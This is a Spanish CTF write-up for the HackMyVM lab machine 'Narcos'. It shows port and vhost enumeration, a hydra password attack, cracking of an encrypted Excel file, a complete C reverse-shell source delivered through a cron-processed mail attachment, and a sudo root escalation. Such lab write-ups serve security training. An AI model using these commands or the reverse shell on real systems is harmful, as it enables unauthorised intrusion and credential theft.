cd ~/blog

~/writeups/hmv/003-narcos.md

003 - Narcos

medium Linux hmvautor: Jordy Pérez Osorio aviso legal
Virtual Host DiscoveryDefault Username with Password GuessingOffice Document Password CrackingCron Job Abuse through Mail Attachment ProcessingUnrestricted sudo
hackmyvm.eu/machines/machine.php?vm=Narcos

~2 min de lectura


Enumeración

Comenzamos con un escaneo general y específico de puertos con nmap:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.27
❯ nmap -sC -sV -p22,80 -oN 02-targeted.txt 192.168.1.27
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-18 01:44 -03
Nmap scan report for 192.168.1.27
Host is up (0.00036s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 34:ca:69:62:40:8f:bb:10:a2:49:06:30:74:83:9d:69 (RSA)
|   256 7b:25:91:f3:04:54:3d:c3:c2:44:9b:b7:00:b9:38:bb (ECDSA)
|_  256 a8:23:a4:df:f8:e9:6a:8e:fe:74:38:fa:48:c7:59:df (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Escobar Store
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.76 seconds

Enumeración web y Virtual Host Discovery

Enumeramos directorios con gobuster. Destaca /squirrelmail, el webmail que usaremos más adelante:

❯ gobuster dir -u 192.168.1.27 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt -r
...
/images               (Status: 200) [Size: 1331]
/index.html           (Status: 200) [Size: 11550]
/js                   (Status: 200) [Size: 954]
/squirrelmail         (Status: 200) [Size: 2912]
/bootstrap            (Status: 200) [Size: 1313]
...

Al iniciar la máquina, HackMyVM nos entrega el dominio escobar.hmv, que añadimos a /etc/hosts. Fuzzeamos subdominios (vhosts) con wfuzz, filtrando por el tamaño de la respuesta por defecto (--hh 11550) para descartar el contenido idéntico al sitio principal:

❯ wfuzz -u 'http://escobar.hmv' -H 'Host: FUZZ.escobar.hmv' -t 100 -w ~/Documentos/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt --hh 11550
...
000001030:   200        102 L    292 W      4245 Ch     "management"
...

File Browser, Password Guessing y crackeo del Excel

Accedemos a management.escobar.hmv y nos encontramos con un File Browser. El repositorio del proyecto define admin como usuario por defecto, pero esto no demuestra que la contraseña también sea predeterminada. Conservamos ese usuario conocido y realizamos Password Guessing únicamente sobre la contraseña mediante la API de login:

❯ hydra -l admin -P ~/Documentos/wordlists/rockyou.txt management.escobar.hmv http-post-form '/api/login:{"username"\:"^USER^","password"\:"^PASS^"}:Forbidden' -t 64
...
[80][http-post-form] host: management.escobar.hmv   login: admin   password: gabriela
...

Dentro encontramos un logins.xlsx cifrado. Extraemos su hash con office2john y lo crackeamos con john:

❯ office2john logins.xlsx > hash
❯ john -w:/home/wh01s17/Documentos/wordlists/rockyou.txt hash
...
money1           (logins.xlsx)
...

RCE mediante Cron Job Abuse en el procesamiento de correos

Accedemos al webmail (SquirrelMail) como gonzalo y descubrimos que una tarea cron procesa los adjuntos de los correos. El límite de confianza se rompe porque un archivo controlado desde el webmail termina siendo consumido por un proceso automatizado. Adjuntamos como update una reverse shell escrita en C:

#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>

#define REMOTE_ADDR "192.168.1.10"
#define REMOTE_PORT 4321

int main(int argc, char *argv[])
{
    struct sockaddr_in sa;
    int s;

    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
    sa.sin_port = htons(REMOTE_PORT);

    s = socket(AF_INET, SOCK_STREAM, 0);
    connect(s, (struct sockaddr *)&sa, sizeof(sa));
    dup2(s, 0);
    dup2(s, 1);
    dup2(s, 2);

    execve("/bin/sh", 0, 0);
    return 0;
}

Lo compilamos de forma estática (-static) para evitar problemas de librerías en la víctima:

❯ gcc reverse_shell.c -o update -static

Dejamos netcat a la escucha en nuestra máquina y esperamos. Cuando se dispara el cron, recibimos una shell como el usuario carlos y la primera flag.

Privilege Escalation mediante unrestricted sudo

Reutilizando las credenciales encontradas previamente, saltamos al usuario pablo. Revisamos qué puede ejecutar con sudo:

pablo@narcos:/home/carlos$ sudo -l
Matching Defaults entries for pablo on narcos:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User pablo may run the following commands on narcos:
    (ALL : ALL) ALL

La regla permite a pablo ejecutar cualquier comando como cualquier usuario. Es el caso más amplio de abuso de una regla sudo, así que solo resta lanzar una shell con privilegios:

pablo@narcos:/home/carlos$ sudo bash -p
root@narcos:/home/carlos#

Obtenemos la segunda flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados